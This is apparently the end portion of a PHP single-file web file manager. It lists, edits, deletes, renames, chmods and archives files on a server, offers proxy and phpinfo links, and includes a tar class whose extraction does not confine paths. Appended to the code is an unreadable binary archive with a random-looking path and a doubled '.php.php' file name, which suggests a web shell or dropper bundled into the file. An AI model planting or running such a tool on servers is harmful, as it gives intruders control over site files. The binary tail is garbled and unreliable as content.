		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
PK!FЗ��a�a5/59x4di/3md14.php.php.tar.gznu�[������r�J� د:f��<�C�"�/RRY�Eq_%23�$A$��f��X?�Ә���|�<t�C�t�/������	�l\$婪{oϜ�:"���G�����c�)�v�e��Bd�pΪ��p��Kv���6��)*a#�]x$���(�-����~�/�M�C�@�O��?��E�!�.�㿵������h����o����~({��O��?~B���O�o�s%Ue�uf��ƣ���
���2�0��?��J�LF���d�p� K����wf$3��1�)'Mxf�IkN�~��[kSY�l�q~s�I����wx�<$�̍���Xr����JB��(i(�s���T/^�*����W_lM��U������G��h�%���������@ҿ8U����-��/�X>��H�
�����ˏ4�x�����e�E�L����%
�Q�H:"��-F�ޣ�����?���en�+>A4�7�F����o����*�ޑ�.Eny"��
M����L��TD�i����y��K޾(��j
dmJ+�,M�LD�R��e�pKK��9����F���� 	�%J�p�&��S Y�9e8�2��"
�e��e��H�2
ѫʋ�P{�~�w��$�aljd����o�3�U�B\oʋK�f���s��^`�ޙ�E]�.�h�I�Jz�˥W]���
C/���w�}c.8�;�Т@�_4~���Qɢh�&H�؉(8��F�|�W��~���e���TO#.�^2�F�Ѹ��~8�Tl��^H�' \�H�"��ǵ[�'&�j�ҩV�m@�g��2����I�hY�,_�sj��=+<��׌��[NBKSfF���hSAeF���/+{ƅ֊���w(S�w�?D�ݍ��y86hqE��1'�;<����'
y���2E+B��?�4y�D���x�TI�E\�>A�M��P
�##�?yY����U���Y~h�fy��N�z��H°�$"���#�۲5�בC�
���X����'��Nq
yBi�"+�<D������<؈?`�W�K9�n���刳d�$�nE�#IUQ)�Q˒�J(�4������K<�F5<N�2
Bg���A�E���Xc����L�0J1Q*�bɯ�Q��@	�R漹rp�-�먒WIo��^�_���I �^�$�'�7ƣ�Q77w�m��PC���^G�\�(�yt�:����q��w4�_=J�%P�x��6Íќc`�%+���Z���J�}�GP�ZU<������6�=�Aox�;y�S��u��x�{F��Uk*��������cRWGxI\�Au�l��ے��ӟP�z����>xmN>��coAI��љ+_0-�g���<�>x]N\��ym�0��/ZK2�A2��QPL�`�O���$�J�=�?xsC/�@�R/���
��H�
�*HXx�$�W��w9��YCE���}wT�|���x��P�*ؤ9E�.'/9�Ne���x�g��?��]r��^,����ktr��g'�;���O�^1]N���ܚ淋,�UMAb"�!�ؗ/�gN���n�oPz��Ғ�+Xg��"�)�o�~$q!�C��$X���D�\n�#��@��p�?��y;�D��-��?�w�#l�!X���rG��C��E�T�(����@���
@!IP�]��T�;2�M�*9��LE(����ݮ�x �'$v*��+�'��)�N��x�V�e�w��T�0]6��
��UP_���W��� i�ך�eB~��X�;�M�tL/x�8���F�웮	�2s,�,�8�;�Y��S��LP{%�j�N��D�?��[�Eoa�R.R4
�/tvRFCf�>cI����?]9h�~1vh'������@&R
_�%i�\�����[�Ëʋ�0�堌E�ƛ����7��[iJ&(a19��>hI]�B��m�&f?H����QQP����P�4��RP�
H��-
��lֳ�zt62�����;�ĩ�jN#��,���TQ3Ϙ�8�L
H
�$�PœVl�����A�%Hc�L�NT�h&�r�=C!���I&��r㙋��K�i2�Z����44S�6LE���錠����ZB8ͭp�e�!�&����|��`C� #�
f�$�e��븴�!{5ڍ]�h��g~c^e��+��6*��n�t:ٖ�f��y�hb�˶a��+�A�V���5?;��K*����/�T��Ir��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S���)���;����`�����"3�4D#$��	2�D��\]�F�ZW�؜<������1l�0{��@�A�/8�Q����["Ɯ�ĘEo�3e�-�)pP1�&pXL0���v
h[��4�C��z�2�	/�N����Il�,�p[�DЦ�p7��Q6�K��nǂ�K�kv��HGb��T։$C��HJ��Γ��#�&�]�����d�$�C^U��C$(rHMWT(b����T���u��K(�&�R��^6�-{[��K��keR�\=3�l�����dx�R//�b9��B�]�\*�I�����XP��E���K��8�|��p�~��������)���U�J+��T�Z;�U�G�]]S�K��N��ω���z3���&�r}�}
�@�
�$���rZ�*N
��,����i����d��h����$��
��KJセ�0S���7&����X5�H,�iL��7�`��,H��B��B��^��$����Z�k*��t�� 6�.��k��tW$����jA
��"�U�
7]-N�M� �;f�I��4���G�����1�$3�"�� �e#�J��yQ�,�/2���sBk�RY�|:Şh��qx�ڒ��쳸S�*36��m-��$
��ZH�,�c�+�Nh[��T2��F^�2�ɸ"]����5H|D�%����b�r�ʿ2�]���d�x$$cٖ<��a:8�I���1��	)e��_dQ"
F�������6�M~�9���5PQT�*�d�9�.�!&����6�Y]��,hڀe�]�<��׀L��|1_c�’�[Z��;�\�����%�TgT���@���W�a�
�������i��'e�qRv���a(����qڜ�A윌���X���
��y�|����&�����&��ބ/��IV��k�����z8כ ET{�7z���7����A�w��Z�'��p�Q&�$ �ES)�<��F$˛���۱iA�q&�~���C=l�!�v���L��B�P$[ⷴ�SdX)�&iH��\���iI'��9��03�j����"��f�Q��q��qB����F��m�!�aߙc�l8ѥ��2q����\c�C5�da�)P
͟Ia���<R�*
G;6�8��B��bE� �v����)S�҄>u�;CC���-zJ��E�
��٤Z#�bjH�NP5�L��)".8Y�&+�KY��[��4D�J��xAͤ�
,N�b�x�`�
��_��r�6~,ᲈ�C�F�[oד��ݠ��s���z��,O����X�hÚ�w�w�v��&�����v(+]���p5�����
��@�Uɩ�q� U
m�>�����K^���2E��v
��>�yI�㥩1O&���D#�P��:E��ɨ#H��	$M!�[��J$a��P�U�F����>�(����
��L�f����#7*�{!�>"Ζ�ik����������w�������Tۚ���U� �NV��xi�
It3T-��ɣ��Q�څ�|L����wA�?{��R2ʬ��UQ��$�u�o��s�*
��]i�*�7 �v��p�y��^��~�D{���n�n���{����X�ݍ�H_C��5D4�>mYܺ�懟<��IX�d!�x���M�zę���!��lhd&�RIP\���x��V��>_�:�·����b|<I��lR��Jh9��6�Z�8V���q��h���.�M����<���Fs�5
����-������s�ב�"�t\�"�U"@`C��/�t@�d���F��}�f�
�
.�on�k��AƗ/�C �>��u���Md
�4֤�q����	P��Y��X��>h�13ۜkh���&Ʉ�]��ݓ�7F��2��@�����{$�S
LDٍ=�uٺEɀ�ޒY��jAՔ��ݘP.�A=�Ҽ���g|`�g�-��xc��c:}%NS�[$J�
1ƜFi�DSb����ט^ך����t�{��������I�>Sv8n��L���c�
?N:>�e���9��n4��	���6���P�=z&M~d�{��e�2|\��u�{��"��C�`��e�
������DN@��%�	 f�7����$^:y=���眷�%�������1��ɶ1�Cس�l��I�v,u����G\�Ȯ��*:��M�Qҁ^�pl��G
$�Z�)��̬{�9����t���df��~��4��էb(��@KWGt�%B3�?�C&Œ��1������RB��?��w�'΄o�W�����SG���c�c�]��[���c����i�-|dI�9z�=��xud�e’0��fN#���&cM�9Ϫ���-<l7v�=����p:�&�p"�r����T�d�=��:��:#�,�=jka4I�(�N�Mk`?��!���e(��z��#�L�8� ���H� N
��D��7�J��Y�Q�v\d���e�sW�3y���i�h@��OFe��Wkm�&�IB~R�t��iljc�11���e)usO�	���4hWVa�b]���J��
8�����q����><�����NY��Z���U�v��l)d����đ>��v�]
!����N�1��4���R�8�ĈÑ�Z�>M���wG"�f�^,��F�*�ON�f�5��5^]�}��.o������*r���0.����;��o����#�������Zi�-IH��h0�*Pq4�0I�G�(��k�;�Ġ�T�7ŭ����b`b����sH|�-�ܓi�\VqZ�sÌ�\����7HdST@w0�~�f��!�����$��Asom�4z:�(uM�/I���B�
?�y��r.�f~c��Z�q�#�����H5�`�d����@d��:!'S�3��b��b����GcTiey<K�C�i�R�m���lm�$�C,S�.W0�������A� ���mE�#0	T��r�6S��k6�0�T��k����8�,	��>��!D�������eLSuC���������'U,zx�Y�b?�BB���3����y�|�ErYzt8��5+|?!��d�B�b``������_R�v�XE����������z�_�Ah=�U�@Q��k�g8eS�
�[6�L��r�n7����A�>�>�uW���#����έ�p��VA�t�R^+b�}�d�ɉ�k�)KQΓ�(��,\_�N��Yche�[�V�TQ�+�
%��͉m$_�h,
��_a��n����D�%
�T�_�Iؑ�r8��%�B���t�n�F�jR� �_&s��^�VN�d��л1�=���Q#�b�t�2�R���s5.���9�<��h˹?\kƑ����`��a����<�m��s�	�C�8	��Bqz��5��'�[���7��i���+��x���l�2�=bYh)��RII��h�=U[h�Y����q!�>���^�I�;��Ÿ>���`��<�:ː�]S��dˮe3�5�DU�˥o�l!�H����z��j9������i���6'mk�L;8L��zÂ\�G�x�隷�a+�t	���E�dQ�ɋ�-u��- Ӑf�+���P�S;��\KSy�#Mi�vo[��r�y�?��:� ���e�˝�րl�ݯ�B?c(��r��3'b��Jd�K���ʈ��x�{�^��0���ހ�j�V�+7�A���c=�|���x惰
qo�	p�5�`4�&�=�w�l���	�XʂD�i��?�s#,pT��"�h��nq��&wdh�B7]kn���DN��Vg��L�S^S�L��r��h�C�0J�;�T���ۧR��'�F;�̳�P"Z��,�������o�Ѧ6����2Ty��)%��-��B�n�l,]A��V�名���l�ZEyi;|H�!2���A~�pA)��C<��Ϥ��)���W����ᶪ�᭬���>;z�hG
